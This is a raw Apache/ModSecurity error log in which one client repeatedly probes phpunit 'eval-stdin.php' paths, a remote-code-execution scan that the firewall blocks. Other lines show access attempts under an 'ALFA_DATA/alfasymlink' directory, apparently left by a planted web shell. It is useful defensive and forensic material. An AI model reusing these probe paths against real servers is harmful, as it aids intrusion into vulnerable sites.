[Sun Oct 25 06:48:09.420643 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX4wAAABY"]
[Sun Oct 25 06:48:09.421104 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX4wAAABY"]
[Sun Oct 25 06:48:09.421447 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX4wAAABY"]
[Sun Oct 25 06:48:09.637966 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX5AAAABY"]
[Sun Oct 25 06:48:09.638531 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX5AAAABY"]
[Sun Oct 25 06:48:09.638896 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX5AAAABY"]
[Sun Oct 25 06:48:10.190375 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.231.118.144:38662] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:48:10.734347 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaiK0zo25roaoS0zX5QAAABY"]
[Sun Oct 25 06:48:10.734829 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaiK0zo25roaoS0zX5QAAABY"]
[Sun Oct 25 06:48:10.735147 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaiK0zo25roaoS0zX5QAAABY"]
[Sun Oct 25 06:48:11.831641 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eayK0zo25roaoS0zX5gAAABY"]
[Sun Oct 25 06:48:11.832085 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eayK0zo25roaoS0zX5gAAABY"]
[Sun Oct 25 06:48:11.832401 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eayK0zo25roaoS0zX5gAAABY"]
[Sun Oct 25 06:48:12.074815 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebCK0zo25roaoS0zX5wAAABY"]
[Sun Oct 25 06:48:12.075274 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebCK0zo25roaoS0zX5wAAABY"]
[Sun Oct 25 06:48:12.075583 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebCK0zo25roaoS0zX5wAAABY"]
[Sun Oct 25 06:48:12.353600 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebCK0zo25roaoS0zX6AAAABY"]
[Sun Oct 25 06:48:12.354105 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebCK0zo25roaoS0zX6AAAABY"]
[Sun Oct 25 06:48:12.354415 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebCK0zo25roaoS0zX6AAAABY"]
[Sun Oct 25 06:48:12.354463 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebCK0zo25roaoS0zX6AAAABY"]
[Sun Oct 25 06:48:12.354496 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebCK0zo25roaoS0zX6AAAABY"]
[Sun Oct 25 06:48:13.007607 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6QAAABY"]
[Sun Oct 25 06:48:13.008128 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6QAAABY"]
[Sun Oct 25 06:48:13.008491 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6QAAABY"]
[Sun Oct 25 06:48:13.656565 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6gAAABY"]
[Sun Oct 25 06:48:13.657019 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6gAAABY"]
[Sun Oct 25 06:48:13.657357 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6gAAABY"]
[Sun Oct 25 06:48:13.922566 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6wAAABY"]
[Sun Oct 25 06:48:13.923037 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6wAAABY"]
[Sun Oct 25 06:48:13.923371 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebSK0zo25roaoS0zX6wAAABY"]
[Sun Oct 25 06:48:14.153991 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.85.7.119:22181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:48:14.189063 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebiK0zo25roaoS0zX7AAAABY"]
[Sun Oct 25 06:48:14.189442 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebiK0zo25roaoS0zX7AAAABY"]
[Sun Oct 25 06:48:14.189700 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3ebiK0zo25roaoS0zX7AAAABY"]
[Sun Oct 25 06:48:18.129055 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 98.84.184.80:53734] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:48:22.143597 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 98.82.63.147:9223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:48:26.126448 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.202.233.37:15813] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:48:28.903922 2026] [security2:error] [pid 2815596:tid 2815596] [client 150.109.46.88:39984] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_baja-california-sur_1.html"] [unique_id "at3efNhd2MbOPZ0wJRMOPwAAAAE"]
[Sun Oct 25 06:48:30.130211 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 35.169.119.108:22284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:48:58.184538 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.211.105.134:30567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:49:50.143248 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.164.106.236:49869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:49:54.127551 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.45.15.233:52844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:49:58.140515 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.84.147.79:40325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:50:06.121683 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.44.174.136:47163] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:50:10.234535 2026] [ssl:error] [pid 2815601:tid 2815601] (5)Input/output error: [client 50.17.193.48:62860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:50:19.577088 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.212:38780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/ctor
[Sun Oct 25 06:50:26.141920 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.232.12.157:4928] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:50:34.130275 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 35.174.253.85:13546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/compact
[Sun Oct 25 06:50:42.220666 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 54.85.7.119:42993] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS2/device/driver/unbind
[Sun Oct 25 06:50:52.878981 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 85.208.96.195:40154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/slab_size
[Sun Oct 25 06:50:58.321674 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 107.20.181.148:58838] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:51:06.167344 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.218.35.239:62848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:51:10.130379 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 100.28.49.152:58607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/piix4_smbus/unbind
[Sun Oct 25 06:51:22.139970 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 34.235.239.240:5513] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:51:34.197392 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 35.169.102.85:63460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:51:36.000042 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.10:11048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/ctor
[Sun Oct 25 06:51:38.253019 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.200.142.199:18617] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:51:49.504275 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 185.191.171.4:42868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/processor/parameters/max_cstate
[Sun Oct 25 06:51:50.126650 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.225.199.17:22630] AH02013: coalesce failed to read from data bucket
